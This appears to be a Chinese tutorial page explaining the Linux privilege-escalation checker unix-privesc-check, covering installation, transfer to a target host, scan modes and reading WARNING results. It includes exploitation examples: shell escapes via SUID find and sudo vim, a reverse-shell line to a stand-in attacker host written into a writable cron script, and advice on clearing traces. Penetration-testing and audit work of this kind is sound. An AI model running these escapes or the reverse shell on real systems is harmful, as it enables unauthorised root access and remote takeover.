当前位置: 首页 > article >正文

unix-privesc-check使用教程

unix-privesc-check是Kali Linux中一款款专注于Unix/Linux系统本地权限提升检测的轻量级脚本工具。它通过自动化扫描系统中的文件权限、配置设置和潜在安全漏洞帮助渗透测试人员和系统管理员识别可能被本地用户利用来提升权限如从普通用户获取root权限的安全风险点。作为一款专注于权限提升检测的工具unix-privesc-check设计简洁、运行高效无需复杂配置即可快速执行扫描非常适合在渗透测试的后渗透阶段使用——当测试人员已获得目标系统的低权限访问后可通过该工具快速定位提权突破口为后续的权限提升操作提供重要参考。一、unix-privesc-check核心功能与特点核心功能检查SUID/SGID文件权限配置识别可能被滥用的高权限可执行文件扫描敏感系统文件如/etc/sudoers、/etc/passwd的权限设置检测系统环境变量配置中的安全隐患分析计划任务crontab的权限设置和执行脚本检查用户和组的权限配置识别可能存在的符号链接漏洞工具特点双模式扫描提供standard标准模式和detailed详细模式两种扫描模式可根据需求平衡扫描速度和检测深度轻量级设计纯脚本实现无需安装额外依赖可直接在目标系统上运行结果清晰扫描结果中以”WARNING”标记高风险项便于快速定位问题兼容性强支持绝大多数Unix/Linux发行版包括各种主流Linux系统和Unix系统合规性提示内置法律合规提醒强调仅可在获得授权的系统上使用二、工具用法说明中文翻译与表格类别英文原文中文翻译基本用法Usage: unix-privesc-check { standard | detailed }用法unix-privesc-check { standard标准模式| detailed详细模式}标准模式说明“standard” mode: Speed-optimised check of lots of security settings.“standard标准模式”针对大量安全设置的速度优化型检查扫描速度快适合快速初步排查。详细模式说明“detailed” mode: Same as standard mode, but also checks perms of open file handles and called files (e.g. parsed from shell scripts, linked .so files). This mode is slow and prone to false positives but might help you find more subtle flaws in 3rd party programs.“detailed详细模式”与标准模式功能相同但额外检查开放文件句柄的权限和被调用文件的权限例如从shell脚本解析的文件、关联的.so动态链接库文件。此模式速度慢且易产生误报但可能帮助发现第三方程序中更隐蔽的漏洞。工具作用This script checks file permissions and other settings that could allow local users to escalate privileges.该脚本检查可能允许本地用户提升权限的文件权限及其他配置设置。法律声明Use of this script is only permitted on systems which you have been granted legal permission to perform a security assessment of. Apart from this condition the GPL v2 applies.仅允许在您已获得合法授权、可执行安全评估的系统上使用此脚本。除本条款外本脚本适用GPL v2GNU通用公共许可证第2版协议。结果解读Search the output for the word ‘WARNING’. If you don’t see it then this script didn’t find any problems.在输出内容中搜索”WARNING”关键词。若未找到该关键词则说明此脚本未检测到任何风险问题。三、unix-privesc-check使用教程1. 工具获取与准备在Kali Linux中unix-privesc-check通常已预装可通过以下命令确认which unix-privesc-check如果未安装可以通过以下命令安装sudo apt update sudo apt install unix-privesc-check也可以从网上下载脚本文件wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/unix-privesc-check chmod x unix-privesc-check2. 传输工具到目标系统通常需要将工具传输到已获取低权限访问的目标系统常用方法有1使用Python HTTP服务器传输在Kali本地启动HTTP服务器python3 -m http.server 8080在目标系统上下载wget http://kali-ip:8080/unix-privesc-check -O /tmp/unix-privesc-check chmod x /tmp/unix-privesc-check2使用scp传输如果有SSH访问权限scp unix-privesc-check usertarget-ip:/tmp/3. 基本使用方法1标准模式扫描标准模式扫描速度快适合快速初步评估系统安全状况./unix-privesc-check standard建议将结果输出到文件以便后续分析./unix-privesc-check standard privesc-scan-standard.txt2详细模式扫描详细模式提供更深入的检查但速度较慢且可能产生误报./unix-privesc-check detailed输出到文件./unix-privesc-check detailed privesc-scan-detailed.txt4. 结果分析方法扫描完成后主要关注输出中的”WARNING”条目这些是可能的权限提升点# 在结果文件中搜索警告信息 grep WARNING privesc-scan-standard.txt常见的高风险警告包括具有SUID权限的危险命令如nmap、vim、find等/etc/sudoers文件配置不当允许用户无需密码执行命令敏感系统文件具有过宽的写入权限计划任务crontab配置不当允许普通用户修改内核版本存在已知的权限提升漏洞5. 典型场景应用示例示例1发现具有SUID权限的find命令扫描结果中出现类似以下警告WARNING: SUID file /usr/bin/find has permissions 4755利用方法find / -exec /bin/sh \; -quit示例2发现sudo配置不当扫描结果中出现类似以下警告WARNING: User test can run /usr/bin/vim as root without password利用方法sudo vim :!sh # 在vim中执行shell获取root权限示例3发现具有写入权限的计划任务脚本扫描结果中出现类似以下警告WARNING: Cron job /etc/cron.hourly/backup.sh is writable by user test利用方法echo /bin/bash -i /dev/tcp/attacker-ip/4444 01 /etc/cron.hourly/backup.sh # 等待计划任务执行或触发执行获取反向shell四、使用注意事项合法授权仅在获得明确合法授权的系统上使用该工具未经授权的扫描可能违反法律法规模式选择一般先使用标准模式进行快速扫描发现潜在问题后再使用详细模式深入分析结果验证详细模式可能产生误报发现警告后需手动验证确认是否真的存在可利用的漏洞系统影响详细模式可能对系统性能产生一定影响建议在非生产高峰期使用痕迹清理在渗透测试中使用完毕后应清理工具文件和扫描结果避免留下痕迹结合其他工具该工具应与其他权限提升工具如linpeas结合使用以全面评估系统安全状况五、总结unix-privesc-check是一款简单实用的Unix/Linux权限提升检测工具通过双模式扫描设计能够满足不同场景下的权限提升漏洞检测需求。其输出结果清晰直观特别适合渗透测试人员在获取低权限访问后快速定位提权突破口。使用时应注意合法授权结合实际场景选择合适的扫描模式并对扫描结果进行手动验证。虽然工具功能相对基础但在权限提升测试中仍能发挥重要作用是渗透测试人员和系统管理员进行安全评估的得力助手。

相关文章:

unix-privesc-check使用教程

unix-privesc-check是Kali Linux中一款款专注于Unix/Linux系统本地权限提升检测的轻量级脚本工具。它通过自动化扫描系统中的文件权限、配置设置和潜在安全漏洞,帮助渗透测试人员和系统管理员识别可能被本地用户利用来提升权限(如从普通用户获取root权限…...

【系统架构师-案例题-建模分析】21年下(4)预约挂号管理系统 UML 建模案例分析

文章目录题目【问题1】(6分)【问题2】(10分)【问题3】(9分)答案与解答【问题1】答案解答【问题2】答案顺序图与协作图的区别解答【问题3】答案1. 三种模型的定义2. 三种模型的关联关系3. 需求分析阶段的适用性解答题目 某医院拟委托软件公司开发一套预约挂号管理系统&#xff…...

工业物联网通信困境:如何用j2mod Java Modbus库构建高效设备通信系统

工业物联网通信困境:如何用j2mod Java Modbus库构建高效设备通信系统 【免费下载链接】j2mod Enhanced Modbus library implemented in the Java programming language 项目地址: https://gitcode.com/gh_mirrors/j2/j2mod 在工业自动化和物联网系统开发中&a…...

PoeCharm实战指南:5步打造你的流放之路完美BD构建

PoeCharm实战指南:5步打造你的流放之路完美BD构建 【免费下载链接】PoeCharm Path of Building Chinese version 项目地址: https://gitcode.com/gh_mirrors/po/PoeCharm 还在为《流放之路》复杂的BD构建而头疼吗?PoeCharm作为一款专为中文玩家打…...

PixelMentor:一个开源网站 · 调用AI视觉能力分析图片 · 提供影视后期修改意见略

1. 前言 本文详细介绍如何使用 kylin v10 iso 文件构建出 docker image,docker 版本为 20.10.7。 2. 构建 yum 离线源 2.1. 挂载 ISO 文件 mount Kylin-Server-V10-GFB-Release-030-ARM64.iso /media 2.2. 添加离线 repo 文件 在/etc/yum.repos.d/下创建kylin-local…...

include-media插件生态:8个实用插件提升开发效率

include-media插件生态:8个实用插件提升开发效率 【免费下载链接】include-media 📐 Simple, elegant and maintainable media queries in Sass 项目地址: https://gitcode.com/gh_mirrors/in/include-media include-media是一个功能强大的Sass媒…...

【GUI-Agent】阶跃星辰 GUI-MCP 解读---()---命令解析和工具映射张

先回顾:三次握手(建立连接)核心流程(实际版) 为了让挥手流程衔接更顺畅,咱们先快速回顾三次握手的实际核心,避免上下文脱节: 第一步(客户端→服务器)&#xf…...

终极指南:Mitsuba 3与Dr.Jit编译器如何用JIT技术重塑渲染管线

终极指南:Mitsuba 3与Dr.Jit编译器如何用JIT技术重塑渲染管线 【免费下载链接】mitsuba3 Mitsuba 3: A Retargetable Forward and Inverse Renderer 项目地址: https://gitcode.com/gh_mirrors/mi/mitsuba3 Mitsuba 3是一个革命性的研究导向渲染系统&#xf…...

QmlBook深度解析:Qt5与QML的核心概念与架构设计

QmlBook深度解析:Qt5与QML的核心概念与架构设计 【免费下载链接】qmlbook The source code for the upcoming qml book 项目地址: https://gitcode.com/gh_mirrors/qm/qmlbook QmlBook是学习Qt5与QML技术的权威指南,它系统介绍了Qt5的架构设计与Q…...

手把手教你用Multisim和Matlab复现《开关电源控制环路设计》第一章的所有仿真案例

从零开始复现《开关电源控制环路设计》第一章仿真案例:Multisim与Matlab实战指南 1. 仿真环境搭建与基础准备 工欲善其事,必先利其器。在开始复现书中的仿真案例前,我们需要确保工具链配置正确。这里推荐使用**Multisim 14.0和Matlab R2020b*…...

如何在5分钟内开始使用EmulatorJS:新手完整入门教程

如何在5分钟内开始使用EmulatorJS:新手完整入门教程 【免费下载链接】EmulatorJS A web-based frontend for RetroArch 项目地址: https://gitcode.com/GitHub_Trending/em/EmulatorJS EmulatorJS是一款基于Web的RetroArch前端工具,让你能够直接在…...

如何用Draw.io ECE库快速绘制专业电路图:免费电子工程绘图终极指南

如何用Draw.io ECE库快速绘制专业电路图:免费电子工程绘图终极指南 【免费下载链接】Draw-io-ECE Custom-made draw.io-shapes - in the form of an importable library - for drawing circuits and conceptual drawings in draw.io. 项目地址: https://gitcode.c…...

PotPlayer字幕翻译终极指南:5步实现外语视频无障碍实时翻译

PotPlayer字幕翻译终极指南:5步实现外语视频无障碍实时翻译 【免费下载链接】PotPlayer_Subtitle_Translate_Baidu PotPlayer 字幕在线翻译插件 - 百度平台 项目地址: https://gitcode.com/gh_mirrors/po/PotPlayer_Subtitle_Translate_Baidu 还在为观看外语…...

百度网盘Mac版SVIP特权解锁:从限速到极速的完整技术方案

百度网盘Mac版SVIP特权解锁:从限速到极速的完整技术方案 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘Mac版的下载速度而苦…...

基于Simulink的2ASK调制解调系统建模与性能对比分析

1. 2ASK调制解调系统基础入门 第一次接触通信系统仿真时,我被各种调制方式搞得头晕眼花。直到用Simulink搭建了第一个2ASK模型,才发现原来通信原理可以这么直观。**2ASK(二进制幅移键控)**是最基础的数字调制方式之一,…...

毕业论文排版救星:Word多级列表+自动编号保姆级教程(含格式调整技巧)

毕业论文排版救星:Word多级列表自动编号保姆级教程(含格式调整技巧) 写毕业论文最让人头疼的莫过于排版问题——手动调整章节编号不仅耗时费力,一旦中间插入新内容,后续所有编号都要重新修改。我曾见过一位同学因为反复…...

从零构建私有CA链:OpenSSL实战生成根证书与多级签发

1. 为什么需要自建私有CA链? 第一次接触证书体系时,我和大多数人一样有个疑问:为什么不用现成的Lets Encrypt免费证书?直到在金融项目中遇到内网隔离环境才明白,私有CA就像企业内部的身份证制作中心,完全掌…...

如何为EmulatorJS贡献代码:从问题报告到PR提交的完整流程

如何为EmulatorJS贡献代码:从问题报告到PR提交的完整流程 【免费下载链接】EmulatorJS A web-based frontend for RetroArch 项目地址: https://gitcode.com/GitHub_Trending/em/EmulatorJS EmulatorJS是一个基于Web的RetroArch前端项目,允许用户…...

如何永久保存微信聊天记录?WeChatMsg帮你打造个人专属的数字记忆库

如何永久保存微信聊天记录?WeChatMsg帮你打造个人专属的数字记忆库 【免费下载链接】WeChatMsg 提取微信聊天记录,将其导出成HTML、Word、CSV文档永久保存,对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trend…...

AI开发-python-langchain框架(--AI 直接生成并执行 Python 代码 )谱

指令替换 项目需求:将加法指令替换为减法 项目目录如下 /MyProject ├── CMakeLists.txt # CMake 配置文件 ├── build/ #构建目录 │ └── test.c #测试编译代码 └── mypass2.cpp # pass 项目代码 一,测试代码示例 test.c // test.c…...

基于 SpringBoot 的生活信息分享平台,从 0 到 1 完整实现(附源码 + 数据库)

🙊作者简介:多年一线开发工作经验,原创团队,分享技术代码帮助学生学习,独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取,记得注明来意哦~🌹赠送计算机毕业设计600个选题excel文…...

3步快速上手植物大战僵尸修改器:PvZ Toolkit实战指南

3步快速上手植物大战僵尸修改器:PvZ Toolkit实战指南 【免费下载链接】pvztoolkit 植物大战僵尸 PC 版综合修改器 项目地址: https://gitcode.com/gh_mirrors/pv/pvztoolkit 你是否曾经在植物大战僵尸游戏中卡关,或者想要尝试不同的游戏策略却受限…...

Artisan:从咖啡豆到完美烘焙,掌握专业级烘焙曲线可视化工具

Artisan:从咖啡豆到完美烘焙,掌握专业级烘焙曲线可视化工具 【免费下载链接】artisan artisan: the worlds most trusted roasting software 项目地址: https://gitcode.com/gh_mirrors/ar/artisan 你是否曾经在烘焙咖啡豆时,感觉整个…...

本地大模型的春天,真的来了!

过去几年,本地部署大模型始终面临一个核心矛盾:想要高性能,就必须用百亿甚至千亿参数的大模型,算力成本高到普通用户和中小团队难以承受;想要低成本,就只能用小参数模型,推理能力和智能体表现又…...

【书生·浦语】internlm2-chat-1.8b在医疗健康领域应用:症状自查与报告解读

【书生浦语】internlm2-chat-1.8b在医疗健康领域应用:症状自查与报告解读 1. 医疗AI助手带来的改变 想象一下这样的场景:深夜突然感觉身体不适,但又不想半夜跑急诊;或者拿到一份体检报告,看着一堆专业术语和指标数值…...

为什么92%的AI微服务项目在6个月内陷入“模型-服务-数据”耦合危机?SITS2026披露3个关键设计断点及实时修复路径

第一章:SITS2026分享:AI原生微服务架构设计 2026奇点智能技术大会(https://ml-summit.org) 在SITS2026现场,来自全球头部AI工程团队的实践者共同提出“AI原生微服务”范式——它并非传统微服务的简单容器化迁移,而是以模型生命周…...

fasdfas

fasdfasd...

使用 C# 删除 PDF 中的数字签名卣

一、 什么是 AI Skills:从工具级到框架级的演化 AI Skills(AI 技能) 的概念最早在 Claude Code 等前沿 Agent 实践中被强化。最初,Skills 被视为“工具级”的增强,如简单的文件读写或终端操作,方便用户快速…...

别再下错包了!手把手教你获取ROS2 Humble可用的gazebo_grasp_plugin正确分支

ROS2 Humble版gazebo_grasp_plugin获取指南:避开新手三大陷阱 刚接触机械臂抓取仿真的开发者,往往在第一步获取资源时就栽了跟头。上周帮学弟调试机械臂项目时,发现他花了两天时间编译的gazebo_grasp_plugin始终报错——原因竟是下载了错误的…...

产品经理的AI副驾:我是如何用墨刀AI Agent一周完成三个竞品分析报告的

产品经理的AI副驾:如何用墨刀AI Agent高效完成竞品分析 最近在负责一个新项目时,我遇到了一个典型的产品经理困境:需要在极短时间内完成三款竞品的深度分析报告。按照传统方法,光是收集资料、整理对比表格就需要耗费大量时间&…...